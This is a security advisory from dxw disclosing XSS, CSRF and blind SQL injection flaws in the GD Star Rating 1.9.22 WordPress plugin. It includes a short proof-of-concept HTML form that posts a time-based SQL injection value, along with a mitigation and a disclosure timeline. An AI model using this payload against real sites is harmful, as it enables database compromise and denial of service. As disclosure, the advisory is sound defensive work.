GD Star Rating 1.9.22 XSS / CSRF / SQL Injection

`Details  
================  
Software: GD Star Rating  
Version: 1.9.22  
Homepage: http://wordpress.org/plugins/gd-star-rating/  
CVSS: 8.5 (High; AV:N/AC:L/Au:S/C:C/I:N/A:C)  
  
Description  
================  
XSS, CSRF and blind SQL injection in GD Star Rating 1.9.22  
  
Vulnerability  
================  
This plugin is vulnerable to SQL injection. Carrying out an SQL   
injection requires access to an administrator account. However, the form   
contains no CSRF protection and is also vulnerable to XSS so an attacker   
may not need direct access to an account to perform denial of service or   
to compromise sensitive data.  
  
Proof of concept  
================  
Proof of concept (see code/adm/db.php at line 154):  
<form   
action="http://localhost/wp-admin/admin.php?page=gd-star-rating-stats"   
method="POST">  
<input type="text" name="s" value="' and sleep(5) = '">  
<input type="text" name="gdsr_search" value="Search Posts">  
<input type="submit">  
</form>  
  
Mitigations  
================  
Disable the plugin until a fix is released.  
  
Disclosure policy  
================  
dxw believes in responsible disclosure. Your attention is drawn to our   
disclosure policy: https://security.dxw.com/disclosure/  
  
Please contact us on [email protected] to acknowledge this report if you   
received it via a third party (for example, [email protected]) as   
they generally cannot communicate with us on your behalf.  
  
Please note that this vulnerability will be published if we do not   
receive a response to this report with 14 days.  
  
Timeline  
================  
  
2013-07-25: Identified  
2014-02-18: Reported to [email protected]  
2014-03-28: No response received. Published.  
  
  
Discovered by dxw:  
================  
Tom Adams  
Please visit security.dxw.com for more information.  
  
  
  
  
`